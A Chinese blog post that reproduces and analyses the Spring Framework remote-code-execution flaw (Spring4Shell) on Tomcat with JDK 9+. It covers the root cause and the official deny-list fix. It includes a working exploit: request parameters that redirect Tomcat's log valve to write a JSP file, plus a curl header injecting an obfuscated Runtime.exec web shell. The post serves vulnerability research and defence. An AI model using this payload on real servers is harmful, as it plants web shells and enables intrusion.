前言
好久没写博客了,正好最近出现了一个比较严重的Spring框架漏洞,有几个点还蛮有意思的,花了一些时间看了下。
官方通告中的漏洞利用条件如下(实际中可能会有更多细小的出入点)
- jdk9+
- spring
- tomcat war部署方式
漏洞复现
环境搭建
- docker: tomcat8-jdk11
- spring: 5.2.12.RELEASE
关于springboot如何搭建部署war包,可以参考
https://www.codebyamir.com/blog/how-to-deploy-spring-boot-war-to-tomcat
这个漏洞的触法方式需要利用spring默认的WebDataBinder
数据绑定方式,所以对一些json之类的传值数据绑定方式可能并不奏效。
示例代码如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16"/userInfo") (
public String userInfo(UserInfo userInfo){
return userInfo.getId();
}
public class UserInfo {
private String id;
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
}
算是一个比较常规的接口写法了,对于默认参数没有进行参数注解的情况下时spring会通过get或者post参数,对参数的字段进行赋值。
例如当我们发起这样一个请求的时候,就可以看到userInfo
变量的id
值被赋予了我们传递的值1
curl http://localhost:8080/spring-vuln-0.0.1-SNAPSHOT/bean/userInfo\?id\=kingkk
漏洞利用
感觉具体的利用方式便是参考Struts2 S2-020
https://cloud.tencent.com/developer/article/1035297
利用这个默认的数据绑定方式,修改tomcat的日志文件配置,以达到写入任意的jsp文件。
1 | http://localhost:8080/spring-vuln-0.0.1-SNAPSHOT/bean/userInfo?class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/spring-vuln-0.0.1-SNAPSHOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{evil}i |
其实主要就是这四个参数。
分别是修改日志的目录、前缀、后缀、日期格式和日志格式。
目录可以尝试webapps/ROOT
或者当前目录。
并且为了避免过多无用日志和一些url编码的问题,将pattern
设置为%{evil}i
表示只记录evil的header头。
- class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/spring-vuln-0.0.1-SNAPSHOT
- class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
- class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
- class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
- class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{evil}i
然后发送一个带有evil
header头的请求(由于我本地测试时会存在双引号转译的问题,所以需要添加一些绕过)1
curl http://localhost:8080/spring-vuln-0.0.1-SNAPSHOT/bean/userInfo -H "evil: <%Runtime.getRuntime().exec(new String(new byte[]{116, 111, 117, 99, 104, 32, 119, 101, 98, 97, 112, 112, 115, 47, 101, 118, 105, 108, 46, 116, 120, 116}));%>"
就可以发现jsp文件被成功写入
然后访问http://localhost:8080/spring-vuln-0.0.1-SNAPSHOT/shell.jsp
即可执行系统命令,在webapps
目录下touch一个evil.txt
。
漏洞原理
具体就是来看下为什么可以写入这个tomcat配置
先从WebDataBinder
的doBind
函数开始,这里主要做的就是将用户传递的参数绑定到handler函数的参数上。
然后一直跟到org.springframework.beans.AbstractPropertyAccessor#setPropertyValues
中,
这里对将上一张截图中的pvs
参数循环,并进行依次设置
然后来到org.springframework.beans.AbstractNestablePropertyAccessor#getPropertyAccessorForPropertyPath
这是比较重要的一个地方。主要是用来获取对象的指定属性的。(这里对应的就是userInfo
的class.module.classLoader.xxx
对象)
PropertyAccessorUtils.getFirstNestedPropertySeparatorIndex
对我们传入的参数进行.
和[]
的分割
然后到后面递归调用getPropertyAccessorForPropertyPath
去不断获取属性的属性。
然后来看下具体获取属性的方式org.springframework.beans.AbstractNestablePropertyAccessor#getPropertyValue
这里首先通过getLocalPropertyHandler
获取对应的PropertyHandler
,这里面主要封装了对象属性的获取方式。
跟进之后可以看到这里的BeanWrapperImpl
是获取到了当前包装类(UserInfo)的CachedIntrospectionResults
对象。
然后在从这个缓存的CachedIntrospectionResults
对象中获取属性的PropertyHandler
CachedIntrospectionResults
的本质是对java bean api中Introspector
的封装。
跟进CachedIntrospectionResults
的构造函数中就能看到。
这其中就是将BeanInfo
结果缓存之后进行使用。然后这里就涉及到这个api的蛋疼之处了,由于存在getClass
这样一个方法,所以这个api就认为当前对象存在一个class
对象,并且拥有getter方法。
所以我们就可以获取到userInfo
对象的class
属性。
其实也可以发现CachedIntrospectionResults
构造函数的下面,当对象是Class
是会过滤classLoader
和protectionDomain
属性。
这也是CVE-2010-1622
的修复
然后继续回到我们获取属性的地方。
获取到class
属性的PropertyHandler
之后,可以看到这个属性是可读的,并且有readMethod
放法。
然后getValue
方法中就可以看到拿了这个方法,并且通过反射进行调用,相当于获取到了userInfo.getClass()
对象。
获取到之后就会返回到之前说的org.springframework.beans.AbstractNestablePropertyAccessor#getPropertyAccessorForPropertyPath
中进行递归调用,相当于一直获取userInfo.getClass().getModule().getClassLoader().getResources().getContext().getParent().getPipline().getFirst()
当获取到最后一个值的时候就会到了org.springframework.beans.AbstractNestablePropertyAccessor#setPropertyValue
中,对最后一个属性进行set
set的方式和之前get类似,也是先获取到一个PropertyHandler
然后获取到writeMethod
进行反射调用
其实这里还有个feature,就是当属性的类型为array
、List
或者Map
时也可以进行属性的设置,具体逻辑在org.springframework.beans.AbstractNestablePropertyAccessor#processKeyedProperty
中。
至此,我们相当于可以设置任意通过链式getter
获取的属性值。
并且由于tomcat容器的关系,他会通过WebAppClassLoader
来隔离每个应用之间的类,导致自定义参数对象获取到的classLoader
会是tomcat的WebAppClassLoader
。
其中保存了tomcat的上下文相关信息,所以其实相当于可以写入其中的所有属性值。
最后,为什么这个漏洞需要一个jdk9+
的条件呢,因为class.getClassLoader
和class.protectionDomain()
其实在CachedIntrospectionResults
中是被禁用了的,所以通过jdk9中Class
类中引入的Moudle
属性间接获取classLoader对象。
并且,module
这个属性在jdk13之后不显示配置也无法通过反射进行获取,jdk9-jdk11并没有这个安全限制。所以其实这个漏洞最后影响的范围应该是jdk9-jdk11.
几个疑问
SpringMVC参数获取的的方式
java中,所有web框架都符合servlet规范,Spring也不例外。
Spring中通过一个同一个的org.springframework.web.servlet.DispatcherServlet
来进行请求分发处理。
org.springframework.web.servlet.DispatcherServlet#doDispatch
中先根据请求获取到对应的handler
也就是我们编写的函数接口
然后再通过org.springframework.web.servlet.HandlerAdapter#handle
调用对应的handler
对请求进行处理
org.springframework.web.method.support.InvocableHandlerMethod#invokeForRequest
中可以看到,就是绑定对应参数,然后传递到对应的函数接口进行调用的逻辑
org.springframework.web.method.support.HandlerMethodArgumentResolverComposite#resolveArgument
函数中,会根据函数的参数类型以及注解获取对应的HandlerMethodArgumentResolver
由于实例中的函数参数并没有任何注解,所以会默认使用ServletModelAttributeMethodProcessor
进行参数参数处理,进而使用WebDataBinder
进行参数绑定。
如果参数有注解之类的,就会获取到不同的HandlerMethodArgumentResolver
进行一些json conveter或者path参数获取的参数绑定。
至于后面的WebDataBinder
通过BeanWrapperImpl
进行参数绑定的逻辑,在漏洞原理中也分析过了就不再赘述
BeanInfo的具体判定方式
写一个简单的Introspector
1
2
3
4
5
6BeanInfo info = Introspector.getBeanInfo(Person.class);
for (PropertyDescriptor pd : info.getPropertyDescriptors()) {
System.out.println(pd.getName());
System.out.println(" " + pd.getReadMethod());
System.out.println(" " + pd.getWriteMethod());
}
在输出结果中可以看到BeanInfo
中认为这个Person
类有三个property,分别是age
、name
、class
Introspector#getBeanInfo(Class)
中第一次调用时会new一个新的Introspector
通过getBeanInfo()
方法获取对应的beanInfo
在构造函数中还可以看到,会递归去获取父类的属性信息
由于java中的所有对象都继承了Object类,所以必然也会去获取Object的beanInfo。
具体的获取属性值的逻辑在java.beans.Introspector#getTargetPropertyInfo
中。
可以看到是比较粗暴的for循环出所有public方法,比较函数名的前缀是否为get
,则就会认为该bean中存在对应的属性。
因而Object中存在的getClass()
方法,也就会为所有JavaBean都赋予一个这样的class
属性
Spring boot jar包形式为什么不受影响
spring boot中可以看到,参数对象的classLoader
并不是tomcat中的WebAppClassLoader
,而是jdk中的AppClassLoader
。
由于spring boot jar单应用的启动形式,就没有像tomcat war包部署的方式一般需要用WebAppClassLoader
将多个应用的类隔离开。
所以就是用jdk默认的AppClassLoader
加载用户的class文件,而AppClassLoader
就不像WebAppClassLoader
拥有过多的属性,利用方式也困难许多。
最后
总的来说,还确实是一个不错且有意思的漏洞。但是一开始号称堪比log4j2 shell的烟雾弹属实让人厌恶。
而且随着微服务的兴起,spring boot jar包单应用服务的盛行,以及前后端的分离,导致大多数接口都从默认的form表单传值变成了json格式,也从一方面削弱了这个漏洞的影响。
个人认为这个漏洞其实就是CVE-2010-1622
jdk高版本下利用module
属性的绕过,外加Struts2 S2-020
的漏洞利用方式。
当然,个人认为tomcat context中应该还有更多有意思的东西,或许可以不局限于修改log配置的利用方式。
这个漏洞的本质就是通过这个默认的数据绑定可以不断getter property,并修改对应值,且提供了支持array
、List
和Map
的feature。
最后,官方给出的修复建议就是添加对应获取属性值的黑名单,禁用任何class
属性的获取,从而断绝了从Object继承下来的class
属性。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public class MyApp {
public static void main(String[] args) {
SpringApplication.run(CarApp.class, args);
}
public WebMvcRegistrations mvcRegistrations() {
return new WebMvcRegistrations() {
public RequestMappingHandlerAdapter getRequestMappingHandlerAdapter() {
return new ExtendedRequestMappingHandlerAdapter();
}
};
}
private static class ExtendedRequestMappingHandlerAdapter extends RequestMappingHandlerAdapter {
protected InitBinderDataBinderFactory createDataBinderFactory(List<InvocableHandlerMethod> methods) {
return new ServletRequestDataBinderFactory(methods, getWebBindingInitializer()) {
protected ServletRequestDataBinder createBinderInstance(
Object target, String name, NativeWebRequest request) throws Exception {
ServletRequestDataBinder binder = super.createBinderInstance(target, name, request);
String[] fields = binder.getDisallowedFields();
List<String> fieldList = new ArrayList<>(fields != null ? Arrays.asList(fields) : Collections.emptyList());
fieldList.addAll(Arrays.asList("class.*", "Class.*", "*.class.*", "*.Class.*"));
binder.setDisallowedFields(fieldList.toArray(new String[] {}));
return binder;
}
};
}
}
}
References
- https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement
- http://rui0.cn/archives/1158
- https://cloud.tencent.com/developer/article/1035297
- https://www.codebyamir.com/blog/how-to-deploy-spring-boot-war-to-tomcat